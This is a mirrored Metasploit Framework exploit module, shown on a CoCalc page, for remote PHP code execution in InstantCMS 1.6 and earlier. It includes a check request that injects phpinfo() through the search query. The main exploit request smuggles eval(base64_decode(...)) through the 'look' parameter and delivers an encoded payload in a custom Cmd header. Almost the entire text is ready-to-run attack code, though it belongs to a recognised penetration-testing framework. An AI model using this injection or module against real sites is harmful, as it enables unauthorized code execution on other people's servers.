Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/instantcms_exec.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
16
'Description' => %q{
17
This module exploits an arbitrary PHP command execution vulnerability because of a
18
dangerous use of eval() in InstantCMS in versions 1.6 and prior.
19
},
20
'Author' => [
21
'AkaStep', # Vulnerability discovery and PoC
22
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
23
'juan vazquez' # Metasploit module
24
],
25
'License' => MSF_LICENSE,
26
'References' => [
27
[ 'BID', '60816' ],
28
[ 'PACKETSTORM', '122176' ]
29
],
30
'Privileged' => false,
31
'Platform' => 'php',
32
'Arch' => ARCH_PHP,
33
'Targets' => [
34
[ 'InstantCMS 1.6', {} ],
35
],
36
'DisclosureDate' => '2013-06-26',
37
'DefaultTarget' => 0,
38
'Notes' => {
39
'Reliability' => UNKNOWN_RELIABILITY,
40
'Stability' => UNKNOWN_STABILITY,
41
'SideEffects' => UNKNOWN_SIDE_EFFECTS
42
}
43
)
44
)
45
46
register_options(
47
[
48
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
49
]
50
)
51
end
52
53
def check
54
res = send_request_cgi({
55
'uri' => normalize_uri(target_uri.to_s),
56
'vars_get' =>
57
{
58
'view' => 'search',
59
'query' => '${echo phpinfo()}'
60
}
61
})
62
63
if res and res.body.match(/Build Date/)
64
return Exploit::CheckCode::Vulnerable
65
end
66
67
Exploit::CheckCode::Safe
68
end
69
70
def exploit
71
print_status("Executing payload...")
72
73
res = send_request_cgi({
74
'uri' => normalize_uri(target_uri.to_s),
75
'vars_get' =>
76
{
77
'view' => 'search',
78
'query' => rand_text_alpha(3 + rand(3)),
79
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
80
},
81
'headers' => {
82
'Cmd' => Rex::Text.encode_base64(payload.encoded)
83
}
84
})
85
end
86
end
87
88